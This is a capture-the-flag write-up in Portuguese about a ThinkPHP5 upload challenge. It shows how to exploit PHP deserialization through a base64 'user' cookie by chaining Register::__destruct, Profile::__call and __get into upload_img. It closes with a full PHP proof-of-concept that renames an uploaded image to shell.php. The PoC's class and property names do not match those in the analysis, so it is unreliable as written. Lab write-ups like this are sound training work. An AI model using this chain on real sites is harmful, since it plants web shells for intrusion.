Desafio de Upload: Exploração via Deserialização em PHP

Este desafio, embora focado em upload de arquivos, requer auditoria de código PHP e exploração de deserialização. A chave está na análise dos pontos de interrupção fornecidos como dicas, que permitem rastrear o fluxo de dados no programa.

Processo de Análise

Ao registrar-se e fazer login, é possível identificar uma funcionalidade de upload de arquivos. Testes iniciais mostram que arquivos JPG são renomeados para .png, e a tentativa de upload de .htaccess falha, impedindo a execução de código PHP diretamente. Análises adicionais, como varredura com dirsearch, revelam um arquivo de backup www.tar.gz. A extração e inspeção local indicam o uso do framework ThinkPHP5, com diretórios .idea sugerindo pistas.

No código-fonte, dois pontos de interrupção são críticos: o método __destruct no controlador Register.php e a função login_check em Index.php. Esses pontos processam informações do usuário, sendo essencial rastrear a origem e o destino dos dados.

Informações dos Pontos de Interrupção

O método __destruct verifica se o usuário está registrado; se não, invoca $checker->index(). A variável $profile em login_check é decodiifcada de base64 e deserializada, originando-se do cookie user.

$profile = unserialize(base64_decode($profile));
// Exemplo de dados deserializados: a:5:{s:2:"ID";i:1;...}

Origem dos Dados

O cookie user é serializado e retornado após login ou atualização de perfil, conforme observado nos controladores login.php e profile.php.

Destino dos Dados

A função login_check é chamada em todos os controladores do diretório application/web/controller/, tornando-se o ponto central da exploração.

Auditoria Crítica e Cadeia de Exploração

A análise identifica métodos mágicos PHP como __construct, __get e __call no controlador profile.php. A partir do __destruct de Register, é possível encadear chamadas para executar funções arbitrárias.

A lógica da cadeia é a seguinte: o objeto Register (com $registered = false) tem seu atributo $checker definido como uma instância de Profile. Ao chamar $checker->index(), o método __call de Profile é acionado, pois index não é um método existente. Isso, por sua vez, invoca __get para acessar a propriedade $except, permitindo a chamada de qualquer método, como upload_img.

// Cadeia de chamadas:
cookie -> base64_decode -> unserialize
-> Register::__destruct() // $checker = Profile
-> Profile::__call() // $name = index
-> Profile::__get() // except['index'] = upload_img
-> Profile::upload_img()

O método upload_img lida com o upload de arquivos, verificando extensões e renomeando-os. Ao manipular os atributos $filename_tmp e $filename, é possível alterar a extensão do arquivo de .png para .php, permitindo a execução de código.

Teste Local e POC

Para explorar, é necessário construir um payload de serialização que configure corretamente os objetos. Ajustes nos atributos como $ext são necessários para contornar verificações.

<?php
namespace app\web\controller;

class UserRegistration {
    public $validator;
    public $registered;

    public function __destruct() {
        if (!$this->registered) {
            $this->validator->index();
        }
    }
}

class UserProfile {
    public $checker;
    public $tempFile;
    public $finalFile;
    public $uploadDir;
    public $extension;
    public $imageData;
    public $except;

    public function __get($name) {
        return $this->except[$name];
    }

    public function __call($name, $arguments) {
        if ($this->{$name}) {
            $this->{$this->{$name}}($arguments);
        }
    }
}

$profileObj = new UserProfile();
$profileObj->except = ['index' => 'upload_img'];
$profileObj->extension = "png";
$profileObj->tempFile = "./upload/f528764d624db129b32c21fbca0cb8d6/e04b7fb2d790bed075a90916ecd43ff1.png";
$profileObj->finalFile = "./upload/f528764d624db129b32c21fbca0cb8d6/shell.php";

$registerObj = new UserRegistration();
$registerObj->registered = FALSE;
$registerObj->validator = $profileObj;

echo urlencode(base64_encode(serialize($registerObj)));
?>

Este payload, quando serializado e colocado no cookie user, aciona a cadeia de métodos, renomeando o arquivo de imagem para um script PHP executável.

Considerações Adicionais

  • A variável $ext pode ser definida como qualquer valor verdadeiro, pois a verificação de extensão é ignorada quando $_FILES está vazio durante a deserialização.
  • O atributo $checker em Profile pode ser definido como null ou 0 para pular verificações condicionais.
  • A configuração de $except com a chave explícita 'index' é essencial para garantir o mapeamento correto do método.

Tags: PHP ThinkPHP5 Deserialização upload de arquivos auditoria de segurança

Publicado em 6-24 16:21